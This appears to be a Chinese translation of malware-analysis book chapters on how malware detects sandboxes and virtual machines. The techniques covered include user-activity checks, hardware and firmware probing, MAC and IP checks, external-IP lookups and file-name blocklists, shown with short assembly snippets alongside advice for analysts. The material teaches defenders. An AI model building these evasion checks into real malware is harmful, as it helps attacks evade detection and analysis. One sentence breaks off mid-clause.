一个典型的用户可能在系统的不同用户目录中拥有许多文件,例如文档、图片、桌面等。通过使用第四章中描述的文件枚举方法,恶意软件可以枚举这些目录,以判断主机是否为真实用户。如果恶意软件发现这些目录中没有用户活动,它可能会得出结论,认为自己正在沙箱或分析环境中运行,并采取规避措施。
桌面壁纸
恶意软件用来检测分析机器的一种特别有创意的方法是检查当前配置的壁纸,因为真实用户往往会更改桌面壁纸,而不是使用 Windows 默认壁纸。为此,恶意软件可以简单地检查壁纸注册表项HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\General\WallpaperSource。如果用户仍然使用默认的 Windows 壁纸,WallpaperSource值将包含该壁纸的路径,通常位于C:\Windows*目录中。另一方面,如果用户配置了自定义桌面壁纸,WallpaperSource值可能包含自定义目录和图像名称,例如C:\Users<user>\Pictures\my_wallpaper.jpg*。
桌面窗口
一些恶意软件变种会统计活动桌面窗口的数量或搜索特定的窗口。它们可以使用GetForegroundWindow函数来测试前景窗口(即当前活动窗口)是否发生变化。因为我正在 LibreOffice 中输入这段文本,所以这个程序是我的活动前景窗口。作为合法用户,我的活动窗口可能会有很大变化;例如,我可能会最小化 LibreOffice,休息一下,去 Chrome 里看 YouTube 猫咪视频。在自动化的恶意软件分析沙箱环境中,活动窗口可能不会有太大变化。一些恶意软件变种意识到这一点,并可能利用这一特性对抗分析系统进行检测。在这个例子中,恶意软件正在检查前景窗口在五秒后是否发生了变化:
loc_34E642:
call GetForegroundWindow
mov dword ptr ds:[ebx+WindowHandle], eax
push 1388h ; "5s"
call Sleep
call GetForegroundWindow
cmp dword ptr ds:[ebx+WindowHandle], eax
je loc_34E642
首先,恶意软件调用GetForegroundWindow,该函数返回当前前景窗口的句柄,并将其存储在地址[ebx+WindowHandle]的缓冲区中。接下来,恶意软件调用Sleep函数,这将暂停样本五秒钟。恶意软件第二次调用GetForegroundWindow,然后通过cmp dword ptr ds:[ebx+WindowHandle], eax来比较两次GetForegroundWindow调用的句柄值。如果句柄匹配(即前景窗口没有变化),该例程将再次循环。这个恶意软件样本可能会无限循环,完全避免在自动化沙箱中被分析,或者它也可能循环几次然后终止自己。无论哪种情况,都为恶意软件分析沙箱带来了有趣的挑战。幸运的是,许多现代沙箱模拟了用户活动来抵御这种技术。有些沙箱甚至可以在交互模式下运行,这使得你可以直接与沙箱中的恶意软件进行互动,从而帮助规避这种策略。
另外,恶意软件样本可以使用EnumWindows函数,该函数返回用户桌面上打开窗口的数量。Windows 会因多种原因创建许多窗口对象,因此在正常的用户环境中,这个数字通常会很高。例如,我在我的个人系统上运行了EnumWindows,它返回了 97 个窗口!在沙箱分析环境中,这个数字可能会显著较低。以下代码片段演示了EnumWindows函数的使用:
push ebx
call EnumWindows
pop eax
cmp eax, 20
jle terminate_process
EnumWindows 接受一个参数,基本上作为一个指向缓冲区的指针,用于存储函数调用的结果(push ebx)。在调用 EnumWindows 后,pop eax 指令将会从 ebx 缓冲区中弹出指针,放入 eax 中。恶意软件将 EnumWindows 的值(现在存储在 eax 中)与 20 进行比较,如果打开的窗口数量小于或等于该值,样本程序将会自我终止。这个样本假设恶意软件分析沙箱在任何时候都会有最多 20 个窗口处于激活状态。
除了枚举受害者系统上活动窗口的数量,或者感知前景窗口是否发生变化外,恶意软件还可以主动搜索特定的应用程序窗口。这有两个原因。首先,恶意软件样本可以搜索典型用户常用的已打开应用程序窗口:Microsoft Office 产品、电子邮件程序、浏览器等。如果打开了足够多的这些应用程序,恶意软件可以合理地推测它不是在恶意软件分析员的实验室中运行。其次,恶意软件样本还可以查找某些恶意软件分析工具,类似于我在第四章中“进程”部分所描述的。例如,恶意软件可能会搜索包含 Procmon、Fiddler 或 Wireshark 等术语的已打开窗口,通常是通过调用 EnumWindows 或 FindWindow 函数来实现。与查找特定进程类似,它会遍历打开的窗口,并将每个窗口的标题与一个字符串进行比较,结果可以让它察觉到自己正在被分析。
鼠标和键盘交互
日常使用者几乎总是使用鼠标在屏幕上移动光标,无论是在浏览互联网、编辑文档还是玩视频游戏。一些恶意软件可以使用 GetCursorPos 来检测这一活动,该函数返回用户鼠标光标的坐标。以下伪代码展示了这种情况可能的实现方式:
GetCursorPos(&CursorPos1)
Sleep(30)
GetCursorPos(&CursorPos2)
if (CursorPos1 == CursorPos2)
TerminateProcess()
首先,恶意软件调用GetCursorPos函数,并将得到的鼠标光标坐标存储到CursorPos1缓冲区中。接着,它调用Sleep函数,使恶意软件的执行暂停 30 秒,然后再次调用GetCursorPos。最后,它比较两个得到的光标坐标值,如果相同(即光标没有移动),样本将自行终止。你大概可以看出,这是一种有效的绕过自动沙箱的方式,因为光标不太可能自行移动(除非沙箱被设计为模仿真实用户的行为)。
另一种类似的技术是恶意软件等待特定的鼠标按钮被按下,或者等待一定次数的鼠标点击事件发生后再执行其恶意代码。FireEye 于 2012 年撰写了一篇研究文章《Hot Knives Through Butter: Evading File-based Sandboxes》,讨论了这种技术被一个名为 Upclicker 的恶意软件家族所使用。为了监控这些鼠标操作,Upclicker 在鼠标上建立了一个钩子,使恶意软件能够拦截并监视所有鼠标活动,等待特定事件的发生。以下是恶意软件代码可能的实现方式:
push offset jump_location
push 0Eh
call SetWindowsHookExA
`--snip--`
loc jump_location:
call do_evil_things
恶意软件样本首先将jump_location参数推送到栈中;当特定的鼠标事件发生时,恶意软件将跳转到这个位置。另一个参数0E(十六进制,或十进制 14)告诉SetWindowsHookExA来钩取鼠标操作。调用SetWindowsHookExA会告诉程序在受害者用户点击鼠标按钮时跳转到jump_location指定的代码。
这段代码为了简洁起见已做了简化。实际上,恶意软件可能会实现额外的逻辑,只在特定的鼠标事件发生时采取行动,比如左键点击(如 Upclicker 的情况)。想了解更多关于 Upclicker 的信息,并且获得一个关于沙箱规避的良好介绍,可以查看 FireEye 的报告,链接在这里:https://
这种挂钩技巧不仅适用于鼠标。恶意软件也可以通过将 0Dh(十进制为 13)传递给 SetWindowsHookEx 函数,来挂钩键盘,然后等待特定的按键被按下后再完全执行。(挂钩技术将在第八章和第十二章中详细讨论。)另外,恶意软件也可以调用 GetAsyncKeyState 函数来监视按键。
监控鼠标和键盘交互可以是检测并绕过自动化恶意软件分析沙盒的一个非常有效的方法。除非沙盒或恶意软件分析员按下特定的键或鼠标按钮,否则在沙盒环境下,恶意软件样本可能看起来完全无害。
注意
为了模拟真实的终端用户环境,让你的分析虚拟机和沙盒尽可能像真实用户一样。更改桌面背景并访问一些网站(以填充你的 cookies 和缓存目录)可以起到很大作用。甚至打开额外的窗口并在屏幕上移动鼠标,也可能帮助避免一些检测技术,即使你觉得这样做有点傻。
系统运行时间
系统运行时间 是指系统已经开机的时间长度,它可以是恶意软件判断自己是否处于分析环境中的一个重要指标。一个典型的终端用户设备通常会持续开机数小时,甚至数天。服务器可能会在没有重启的情况下开机数月或数年。由于恶意软件分析员通常会根据需要启动虚拟机和沙盒来分析恶意软件样本,因此短时间的系统运行时间可能是一个明显的提示,表明系统是一个分析机器。
检查系统运行时间有多种方式,可以通过 Windows API 或其他辅助命令实现。最常见的方法可能是 GetTickCount Windows API 函数,它以毫秒为单位返回系统的运行时间。一个 tick 是由处理器时钟产生的,时钟负责保持时间并协调指令。当系统关闭或重启时,GetTickCount 基本上会重置为 0。以下代码使用 GetTickCount 来查看系统是否已开机 20 分钟:
mov ebx, 124F80h
call GetTickCount
cmp eax, ebx
jb terminate_process
该样本首先将十六进制的 124F80(十进制的 1200000)存入 ebx 寄存器,代表 1,200,000 毫秒,即 20 分钟。然后,它调用 GetTickCount 并将返回的计时值与 ebx 中的值进行比较。如果 GetTickCount 返回的值小于 ebx 的值,意味着系统开机时间少于 20 分钟,则恶意软件样本会终止自身。
恶意软件也可能使用 Windows 命令行获取系统的正常运行时间。可选命令包括 sysinfo 命令,它返回关于系统的各种信息,包括正常运行时间;uptime.exe,这是大多数版本的 Windows 自带的一个二进制文件;以及 net statistics workstation 命令。最后,恶意软件还可以通过调用 WMIC 来获取系统的正常运行时间,命令是 wmic os get lastbootuptime。
这里的最后一个重要提示是,GetTickCount及其他方法常用于良性和恶意应用程序中,而不仅仅是用于暴露分析环境和沙箱。仅仅因为恶意软件样本正在检查系统的正常运行时间,并不意味着它在采取逃避行为,但你应该将这种行为视为一个警示信号。
总结
在本章中,我们介绍了一些恶意软件枚举环境并寻找实际用户活动证据的创新且狡猾的方法。通过设计一个看起来对恶意软件合法的分析环境,你可以有效阻止这些用户检测技术中的许多。诸如更改默认的 Windows 桌面背景并确保浏览历史中有一些项目等变化,都是容易实施的。我们将在附录 A 中讨论其他阻止检测技术的方法。还要注意,一些高级沙箱已内置防护措施,能抵御许多这些技术。
在下一章中,我们将探讨如何通过逃避型恶意软件枚举系统硬件和网络设备信息,以检测虚拟机分析环境。
第七章:6 枚举硬件和网络配置

硬件信息,例如 CPU 速度和内存分配,以及网络配置,例如主机网络接口的 MAC 地址和 IP 地址,可以向恶意软件表明它正在实验室环境中运行。此外,恶意软件还可以利用这些信息来建立其操作环境的上下文。在本章中,我们将讨论恶意软件可能使用的收集这些信息并避免检测的技术。
硬件和设备配置
系统硬件配置可以为恶意软件样本提供有价值的信息,帮助它判断是否在虚拟机(VM)或沙盒中运行。虚拟机使用的硬件是仿真硬件,容易与真实硬件区分,而且通常与物理系统配置大不相同。恶意软件还可以枚举硬件信息,比如处理器数量、系统中安装的内存大小、硬盘存储容量等。在本节中,我们将依次探讨这些领域。
CPU
由于虚拟化的 CPU 与物理 CPU 看起来有所不同,恶意软件通常会检查主机的处理器,以确定它运行的环境。恶意软件可以通过几种方式获取 CPU 硬件信息。比较常见的方法是调用 GetSystemInfo 函数,以获取 dwNumberOfProcessors 值,该值表示系统拥有的处理器数量。现代计算机系统几乎总是有多个处理器和处理器核心。为了判断是否在虚拟机中运行,恶意软件可能会检查主机的处理器核心数量是否少于两个,例如:
SYSTEM_INFO systemInfo;
GetSystemInfo(systemInfo);
int numProcessors = systemInfo.dwNumberOfProcessors;
if numProcessors < 2 {
KillSelf()
}
在这段伪代码中,样本定义了一个结构体(systemInfo),然后调用 GetSystemInfo。结构体(struct)是一种数据类型,允许将其他数据以单一名称组合在一起。GetSystemInfo 函数返回的所有信息将存储在 systemInfo 结构体中。恶意软件随后检查结构体中的 dwNumberOfProcessors 值,如果 numProcessors 的值小于 2,则会终止自身。
类似地,恶意软件样本可以调用以下函数来返回它可以用来推断其运行环境的信息:
GetLogicalProcessorInformation 返回处理器核心信息。
GetNativeSystemInfo 返回与GetSystemInfo类似的信息,但通常由 64 位应用程序调用。
IsProcessorFeaturePresent 返回各种处理器特性的状态。如果它返回 true 表示PF_VIRT_FIRMWARE_ENABLED,则说明系统正在使用虚拟固件,这显然是系统可能已虚拟化的线索。
进程环境块(PEB)也可以用于 CPU 枚举。回顾第一章,PEB 结构包含指向内存中其他结构的指针,这些结构包含当前运行进程的信息。以下代码展示了恶意软件如何搜索 PEB 以检索 CPU 信息:
mov eax, dword ptr fs:[0x30]
mov edx, dword ptr ds:[eax+0x64]
cmp edx, 1
je terminate_process
样本将 PEB 的地址(存储在fs:[0x30]中)移动到eax寄存器,然后将恶意软件感兴趣的 PEB 特定偏移量([eax+0x64])放入edx寄存器。PEB 结构中的偏移量 0x64 存储系统上配置的处理器核心数量。如果处理器核心数量为1,恶意软件将通过跳转到terminate_process函数终止自己。
注意
对于 64 位进程,PEB 的地址将位于 gs 寄存器中的gs:[0x60],因此需要留意恶意软件是否引用此地址。
RAM
现代计算机通常至少拥有 4GB 的内存,但某些恶意软件分析环境和沙盒可能没有这个内存大小。如果安装的内存低于 4GB 的阈值(或类似的),恶意软件可能会认为它正在虚拟环境中运行。为检查这一点,恶意软件调用 Windows 函数GetPhysicallyInstalledSystemMemory来返回系统内存的数量,示例如下:
lea ecx, [ebp+TotalMemoryInKilobytes]
call GetPhysicallyInstalledSystemMemory
cmp ecx, 4194302
jl terminate_process
在这里,恶意软件样本调用 GetPhysicallyInstalledSystemMemory 函数,并以 TotalMemoryInKilobytes 作为参数,该函数将返回的系统总内存值存储下来。在函数调用之后,恶意软件将 TotalMemoryInKilobytes 的值与 4194302(即 4,194,302 千字节或 4GB)进行比较。如果系统 RAM 的量低于 4GB,恶意软件样本将跳转到 terminate_process 并删除自身。
硬盘
大多数现代计算机被分配了数百 GB 的存储空间。恶意软件可以查询硬盘的存储容量,如果该值低于一定阈值,则可能确定正在虚拟环境中运行。这个阈值通常为 40GB、60GB 或 80GB,但随着平均存储容量的增长,这个数字可能会增加。
最常用于收集硬盘和容量信息的 Windows 函数是 GetDiskFreeSpace 和 GetDiskFreeSpaceEx。除了逃避检测之外,恶意软件很少会查询硬盘空间,因此这些函数应该引起你的警惕。绕过这种逃避策略的简单方法是将您的虚拟机磁盘大小增加到 40GB 以上,或者更好的是 80GB。
Windows 包含许多不太知名且不常用的 API 函数。其中一个例子是 IsNativeVhdBoot 函数:
call IsNativeVhdBoot
test eax, 0
jne loc_403DDD
如果 IsNativeVhdBoot 的返回值不是 0,则系统是从虚拟硬盘引导的,表明是虚拟机。请注意,IsNativeVhdBoot 函数仅在 Windows 8 及以上版本上有效。
监视配置
典型的现代计算机配置可能会有一台高分辨率显示器,有时甚至不止一台,而(大多数)虚拟机和沙箱环境通常没有这么多显示器。一些恶意软件专门检查正在使用的显示器数量,如果它检测到只有一个显示器,它可能会推测自己处于分析环境中。为了实现这一点,它可以调用 Windows API 函数GetSystemMetrics,该函数返回一个特定的变量SM_CMONITORS,表示正在使用的显示器数量。另一种方法是调用EnumDisplayMonitors函数,该函数不会直接返回总数,而是为每个显示器执行回调函数。回调函数只是执行每个对象任务的一种方式——在这个例子中,是每个显示器。
恶意软件还可以使用相同的函数检查屏幕分辨率。非虚拟化终端用户系统的典型分辨率通常很高,例如 1,600 × 900。如果你的分析机器的显示分辨率较低(例如 1,152 × 864),恶意软件可能会注意到这一点。
USB 控制器
许多虚拟机配置为使用较旧的 USB 协议版本(例如 V1.1 或 V2.0),或者根本没有 USB 控制器设备。因为大多数现代非虚拟化系统至少有一个 USB 控制器,并且拥有最新的 USB 设备版本,这对于恶意软件来说可能是一个重要线索。
Windows 提供了一个有用的 API,用于列举 USB 设备和设置:Winusb.dll。如果你发现恶意软件试图导入此 DLL 并使用其功能,这很可能是某些可疑活动的强烈指示。
固件表
大多数系统硬件都配有被称为固件的低级软件。固件赋予硬件生命;没有它,硬件无法与操作系统或其他程序进行交互。Windows 会跟踪固件表,这些表格还包含相关硬件的品牌和型号,恶意软件可以利用这些信息来识别与虚拟机监控器相关的任何信息。
让我们来看一下固件表。图 6-1 展示了我在虚拟机上运行 Nirsoft 免费工具 FirmwareTablesView 的输出。

图 6-1:在 FirmwareTablesView 中显示的固件表
你可能已经能发现恶意软件样本可能利用的异常情况。文中多次提到VBOX,这是 VirtualBox 虚拟机监控器固件的标准前缀。
在固件列中,您可以看到每个固件表的类型,也叫做提供者签名:ACPI、SMBIOS 或 Raw。有些函数,如GetSystemFirmwareTable和EnumSystemFirmwareTables,需要提供者签名来检索固件表。以下代码展示了一个恶意软件调用EnumSystemFirmwareTables来检查 ACPI 表:
loc_10001300:
push [esp+38h+BufferSize] ; BufferSize
push esi ; pFirmwareTableEnumBuffer
push 'ACPI' ; FirmwareTableProviderSignature
call EnumSystemFirmwareTables
cmp [esp+38h+BufferSize], eax
后来,该恶意软件将搜索存储固件表的缓冲区,查找与虚拟机监控器相关的字符串,如Oracle、Vbox、VirtualBox、VMware 和 VMware, Inc。
NtQuerySystemInformation函数还会返回许多不同的系统信息,既包括恶意用途,也包括合法用途。恶意软件可以利用这个函数来枚举固件表。以下是可能的情况:
push [ebp+Length] ; SystemInformationLength
push eax ; SystemFirmwareTableInformation
push 76 ; SystemInformationClass
call NtQuerySystemInformation
该恶意软件使用几个重要的参数调用了NtQuerySystemInformation函数。第一个参数,SystemInformationLength ([ebp+Length]), 是接收函数调用返回数据的缓冲区大小。第二个参数,SystemFirmwareTableInformation (eax), 是指向该缓冲区的指针。第三个参数,76, 表示该恶意软件感兴趣的系统信息类别,即SystemFirmwareTableInformation。在恶意软件调用NtQuerySystemInformation函数并将固件表结构存储在缓冲区后,它可以枚举缓冲区中的与虚拟机监控器(Hypervisor)相关的信息。
请注意,SystemFirmwareTableInformation 数据类没有被微软文档化,因此关于它的公开信息不多。微软将某些功能保密,可能是为了避免被滥用,但恶意软件作者和研究人员最终会发现这些功能。Conix Cybersécurité 已经编制了一个完整的列表,列出了 NtQuerySystemInformation 可以返回的数据类,详见 https://
其他硬件设备
恶意软件可能会利用其他硬件配置来获取其环境信息,例如 CD 或 DVD 驱动器、声卡和音频配置、连接的打印机(或没有打印机)、以及串口等。我们将在附录 A 中详细介绍一些此类设置,但由于恶意软件可能会枚举受害系统上的所有硬件配置,因此不可能在本书中列出所有硬件配置。
接下来,我们将关注恶意软件可能用来检测虚拟机或沙盒环境的网络相关信息。
网络相关伪装痕迹
网络相关的伪装痕迹,如 IP 地址配置、当前建立的连接、开放的服务端口,甚至是受害系统所加入的域,都可以帮助恶意软件识别其操作环境。本节将教你如何做到这一点。
IP 地址配置
恶意软件可能会出于多种原因获取主机的 IP 地址,最常见的原因是检测主机是否在沙盒或恶意软件分析实验室中运行。内置虚拟网络的默认 IP 地址范围为 192.168.56.X。VMware Workstation 的默认 IP 范围是 192.168.X.X,其中最后两位数字是随机化的(例如 192.168.5.100 或 192.168.187.101)。此范围取决于系统运行的虚拟机管理程序软件版本。如果受害系统的 IP 地址位于这些范围内,恶意软件可能会判断它是虚拟机,或者进一步检查系统。
获取主机的 IP 地址非常简单,只需利用 GetAdaptersAddresses 函数即可:
push edx ; AdapterAddresses structure
push 0 ; Reserved parameter
push 0 ; Flags parameter
push 2 ; Family parameter
call GetAdaptersAddresses
`--snip--`
mov eax, [ebp+AdapterAddresses.FirstUnicastAddress]
mov edx, [ebp+bad_ip_address]
cmp eax, edx
jnz terminate_process
和许多 Windows API 函数一样,GetAdaptersAddresses 接受一系列的参数。在这个例子中,push edx 将缓冲区 AdapterAddresses 的地址推送到栈中,该缓冲区将保存从函数调用中返回的所有地址数据。接下来的三条指令将 reserved、flags 和 family 参数推送到栈中。最重要的是 family 参数,它的值为 2,告诉 GetAdaptersAddresses 仅返回 IPv4 信息。表 6-1 列出了每个 family 参数值的定义。
表 6-1: GetAdaptersAddresses 家族 参数值
| ASCII 值 | 数字值 | 定义 |
|---|---|---|
| AF_UNSPEC | 0 | 返回 IPv4 和 IPv6 地址 |
| AF_INET | 2 | 仅返回 IPv4 地址 |
| AF_INET6 | 23 | 仅返回 IPv6 地址 |
接下来,恶意软件调用了GetAdaptersAddresses函数。在后续的代码中,AdapterAddresses.FirstUnicastAddress的值被移入eax,而变量bad_ip_address则被移入edx。FirstUnicastAddress变量是AdapterAddresses的一部分,包含结构中的第一个 IP 地址。bad_ip_address变量包含恶意软件正在检查的 IP 地址。假设该值为192.168.56.2,表示一个 VirtualBox 网络。恶意软件使用cmp eax, edx将
请记住,列举系统上的 IP 地址有许多方法。有些函数涉及直接查询接口信息,而其他函数则采用更为间接的方法,如列出 IP 网络表。还可以使用 Windows 工具(如 WMI、PowerShell 和 Windows 命令行)查询 IP 地址信息。您应该对任何试图查找主机内部 IP 地址的恶意软件保持警惕,因为它可能正在使用某种检测技术。
域配置
恶意软件可能会尝试列举受害主机的域名,以确保目标属于某个特定公司或网络,或排除恶意软件分析环境。在这种情况下,域只是网络中系统的逻辑分组。您用于工作的计算机很可能是某个域的一部分,该域的名称与您的公司名称相关。这个域通常也是您系统的主机名的一部分,或者说是您设备在网络上的名称。例如,如果您在 Evil Corp 工作,您的域名可能是evil.corp,而您的主机名可能是your.computer.evil.corp。
域枚举可以成为恶意软件的一种极佳规避策略。例如,如果受害系统没有与域关联,或者它所连接的域与恶意软件的主要目标不匹配,恶意软件可能会终止自身以避免分析,或者改变其行为。用于枚举主机域的常见 Windows API 函数是 GetComputerName 和 DsGetDcName。
除了 Windows API 函数外,恶意软件还可能查询这些注册表项,其中可能包含系统的域信息:
-
HKCU\Volatile Environment
-
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters
为了阻止这种攻击策略,可以将虚拟机和沙箱加入到一个域中。即使该域是虚假的,仍然可以欺骗恶意软件执行。我们将在附录 A 中进一步讨论如何伪造域和网络连接。
MAC 地址配置
媒体访问控制(MAC)地址是一个应用于所有计算机网络硬件的唯一标识符。MAC 地址由代表设备制造商的数字(3 个字节)组成,接着是另一个由特定于主机硬件设备的数字(另外 3 个字节)组成的序列(参见图 6-2)。

图 6-2:MAC 地址结构
在图 6-2 中,示例的 MAC 地址是 00:50:56:62:9A:12。前三个字节(00:50:56)代表制造商标识符(在此案例中为 VMware),最后三个字节代表该特定适配器。
恶意软件可以查询主机的 MAC 地址,查看主机是否使用特定制造商的网络硬件。每个网络硬件都有自己的专用 MAC 地址,因此恶意软件还可以利用这些信息来锁定受害者。一个例子就是 2019 年发生的著名供应链攻击事件,名为“ShadowHammer”。攻击者利用一份预先选择的 MAC 地址列表来锁定并感染特定的计算机。
要获取主机上的 MAC 地址列表,恶意软件可以调用 Windows API 函数 GetAdaptersAddresses。然后它将该列表与硬编码的 MAC 地址列表进行比较,只有在找到与 MAC 地址匹配的网络设备时,才会感染系统。在恶意软件调用 GetAdaptersAddresses 后(使用我在“IP 地址配置”部分中介绍的相同技术,见第 109 页),它会检查 AdapterAddresses 结构体中的 PhysicalAddress 值,该值包含主机的 MAC 地址,如下所示:
call GetAdaptersAddresses
`--snip--`
mov eax, [ebp+AdapterAddresses.PhysicalAddress]
`--snip--`
mov [ebp+var_38], 0B203B000h ; MAC address data
mov [ebp+var_34], 0F6DDB6CAh ; MAC address data
mov [ebp+var_30], 1D3CA6CDh ; MAC address data
mov [ebp+var_2C], 287E2CDBh ; MAC address data
后来,恶意软件通过类似 mov [ebp+var_38], 0B203B000h 的指令将数据移入堆栈。这些数据代表恶意软件将与受害者的 MAC 地址进行比较的部分 MAC 地址。
与虚拟机相关的 MAC 地址也可以通过这种方式枚举。以下 MAC 地址前缀之一的存在将指示恶意软件它正在虚拟机环境中运行,且可能正在被分析:
VMware Workstation
-
00:50:56 ...
-
00:0C:29 ...
-
00:05:69 ...
VirtualBox
- 08:00:27 ...
注意
为了绕过这种检测技术,请更改您的虚拟机和沙箱的 MAC 地址。
外部 IP 地址与互联网连接性
一种越来越常见的规避技术是获取潜在受害者的外部 IP 地址。恶意软件可能出于两个原因需要这些信息。首先,恶意软件可以用它来确定潜在受害者的位置。有些恶意软件可能只针对特定地区的受害者,或者它可能想排除某些地理区域。这不仅帮助恶意软件保持目标准确,还有助于反分析和规避;如果潜在受害者不在恶意软件的区域范围内,恶意软件会终止自身或修改行为,从而欺骗沙箱和恶意软件分析员。
其次,恶意软件可以利用主机的外部 IP 地址信息或互联网连接状态来检测分析环境。例如,如果外部 IP 地址是一个流行的虚拟私人网络(VPN)网关(如 NordVPN 或 ExpressVPN)或 TOR 退出节点,恶意软件可能会推断出它正在被分析。(毕竟,如果有人使用 TOR 或 VPN,他们一定是恶意软件分析员,对吧?)此外,沙箱和分析环境通常是故意离线的,因此如果主机根本没有外部 IP 地址,恶意软件可能会认为它运行在实验室环境中。
这种技术可以通过多种方式执行,但最常见的方法可能是简单地向 IP 查询服务发送 web 请求,如WhatIsMyIP.com或IPLocation.net。这些是合法的服务,能够报告回调用主机的外部 IP 和地理位置信息。如果你在分析沙箱或实验室中引爆恶意软件,并且看到类似这些网站的 HTTP 请求,这可能是恶意软件正在尝试查找主机的外部 IP 地址或位置的信号。以下是可能的情况:
1 mov ecx, [ebp+lpszServerName] ; "icanhazip.com"
push 0 ; dwContext
push 0 ; dwFlags
push 3 ; dwService
push 0 ; lpszPassword
push 0 ; lpszUserName
2 push 80 ; nServerPort
3 push ecx ; lpszServerName
push ebx ; hInternet
4 call ds:InternetConnectA
首先,恶意软件样本将包含域名icanhazip.com的值 lpszServerName 移动到 ecx 寄存器中,供以后使用 ❶。InternetConnectA 函数有很多参数,但重要的参数是 nServerPort ❷,它表示恶意软件样本将通过哪个端口与域名进行联系(端口 80,或 HTTP),以及域名本身,现在存储在 ecx 中 ❸。最后,它调用 InternetConnectA ❹。这个样本的代码本质上是通过 HTTP 联系 icanhazip.com 域名,以获取主机的外部 IP 地址。
一种相关的方法是简单地向在线服务提供商发送 DNS 或 HTTP 请求。任何服务提供商都可以使用,但Google.com是常见的一个。如果恶意软件样本向 web 服务器发送请求并未收到数据(或收到错误数据),它可能会推测自己正在被分析。以下样本尝试联系Google.com,然后检查响应,以确保它与服务器的正常响应一致:
push ecx ; lpszServerName ("google.com")
push ebx ; hInternet
call InternetConnectA
`--snip--`
push eax ; lpdwNumberOfBytesRead
1 push 9 ; dwNumberOfBytesToRead
lea ecx, [ebp+lpBuffer]
2 push ecx ; lpBuffer
push edi ; hFile
3 call InternetReadFile
test eax, eax
jz short loc_ 4021B6
`--snip--`
loc_404194:
4 mov eax, offset first_bytes ; "<!doctype"
test eax, [ebp+lpBuffer]
在尝试联系 Google.com(使用 InternetConnectA)之后,样本会传递 InternetReadFile 函数的参数,其中包括 dwNumberOfBytesToRead ❶,它包含从 Web 服务器响应中读取的字节数(9),以及 lpBuffer ❷,这是一个指向 InternetReadFile 将返回的数据的指针。接下来,恶意软件样本调用 InternetReadFile ❸,它从 Google 的响应中读取前 9 个字节(应该是 <!doctype)。最后,代码将 <!doctype 值与存储在 lpBuffer ❹ 中的实际响应进行比较。如果响应不同,这个恶意软件样本可能会得出结论,认为系统没有连接到互联网,或者可能正在沙盒中被分析。
在现代恶意软件中,看到这种外部 IP 验证技术并不罕见,因此要保持警觉。如果你正在分析一个恶意软件样本,并看到它向像 WhatIsMyIP.com 这样的站点发送外发 HTTP 或 DNS 请求,或者向 Google.com 或 AWS.Amazon.com 这样的服务提供商发送请求,那么很有可能该恶意软件正在使用这种虚拟机检测技术。以下是一些其他需要注意的网站:
-
api.ipify.org
-
checkip.amazonaws.com
-
checkip.dyndns.com
-
icanhazip.com
-
ip-api.com
-
ip.anysrc.net
-
ipecho.net
-
ipinfo.io
-
iplocation.net
-
myexternalip.com
-
myipaddress.com
-
showipaddress.com
-
whatismyip.com
-
whatismyipaddress.com
-
wtfismyip.com
TCP 连接状态
在前一节中,我提到过,恶意软件分析师通常会将分析机器和沙盒配置为完全离线,或连接到一个假网络。恶意软件可以利用这一行为,通过枚举外发的 TCP 连接,尝试判断这些连接是否有效。一个合法的终端用户系统或服务器可能会有许多指向各种外部 IP 地址和端口的外发 TCP 连接。而恶意软件分析机器或沙盒,除非连接到像互联网这样的真实网络,否则可能只有少数几个连接,甚至没有任何连接。
这一策略涉及使用 Windows API GetTcpTable 函数,该函数返回一个表格,列出了系统上最新的 TCP 连接的当前状态,类似于在主机上运行 netstat.exe 的结果。这个表格可能类似于表 6-2。
表 6-2: 示例 TCP 连接
| 本地地址 | 本地端口 | 远程地址 | 远程端口 | 状态 |
|---|---|---|---|---|
| 127.0.0.1 | 2869 | local-machine | 49202 | TIME_WAIT |
| 127.0.0.1 | 2869 | local-machine | 49203 | ESTABLISHED |
| 192.168.1.2 | 49157 | 91.184.220.29 | 80 | ESTABLISHED |
| 192.168.1.2 | 49158 | 64.233.160.15 | 443 | ESTABLISHED |
| ... | ... | ... | ... | ... |
离线恶意软件分析机器或沙箱可能不会像表 6-2 中的第三行和第四行那样建立远程 TCP 连接。
恶意软件当然也可以利用本地 Windows 工具来实现这一点,比如前面提到的netstat.exe。在检查恶意软件时,留意通过 Windows 函数或本地 Windows 工具枚举 TCP 状态信息的尝试。
总结
在本章中,我们介绍了恶意软件可能使用的许多硬件和网络配置枚举技术,以确定其操作环境。正如你所看到的,理解其环境并建立上下文是恶意软件检测虚拟机和沙盒、躲避分析师或保持目标不变的关键。 在下一章中,我们将探讨恶意软件如何通过检查运行时异常、监控性能以及滥用虚拟处理器指令来暴露恶意软件分析环境。
第八章:7 运行时环境与虚拟处理器异常

在前面的三章中,您已经看到恶意软件如何查询和枚举操作系统的工件和配置,以了解其环境并检测到自己正被分析。本章将重点介绍恶意软件如何通过检查恶意软件分析工具引入的异常、监控虚拟处理器的性能和时序,以及滥用虚拟处理器指令,来主动识别分析沙箱和虚拟机环境。
检测分析和运行时异常
当恶意软件在沙箱或恶意软件分析环境中执行时,沙箱或分析工具可能通过多种方式泄露它们的存在。例如,沙箱有时会将恶意软件文件重命名为一个通用的文件名。沙箱和分析工具还可能向恶意软件样本中注入代码或修改其中的代码,以便更好地拦截和分析恶意软件的行为。一些恶意软件变种能够检测到它们运行时环境中的这些异常。我们来更详细地了解这些技术。
运行路径、文件名与参数
当恶意软件被发送到自动化沙箱进行引爆和分析时,它通常会被命名为一些通用的名称,如 sample.exe 或 malware.exe,或者分配一个哈希值,例如 b3126a1de5401048f5a6ea5a9192126fc7482ff0。它可能还会从一个通用目录中运行,例如 C:\Users<user>\Downloads 或 C:\Users<user>\Desktop,而不是恶意软件作者所意图的目录,如临时目录。有些恶意软件可以识别这些异常。例如,某个恶意软件样本可能会调用 GetModuleFileName 函数来返回它自己的名称,或者调用 PathFindFileName 函数来返回其执行的完整路径。以下样本调用了 GetModuleFileName 来测试它的文件名是否在黑名单中:
push offset size ; nSize
push offset fileNameBuffer ; lpFilename
push esi; hModule (null)
1 call GetModuleFileNameA
`--snip--`
loc_21D10:
push offset blocklist1 ; "malware.exe"
push fileNameBuffer
2 call wcsstr
test eax, eax
jz short loc_21E12:
`--snip--`
3 loc_21E12:
push offset blocklist2 ; "sample.exe"
push fileNameBuffer
call wcsstr
test eax, eax
jz short loc_21F10:
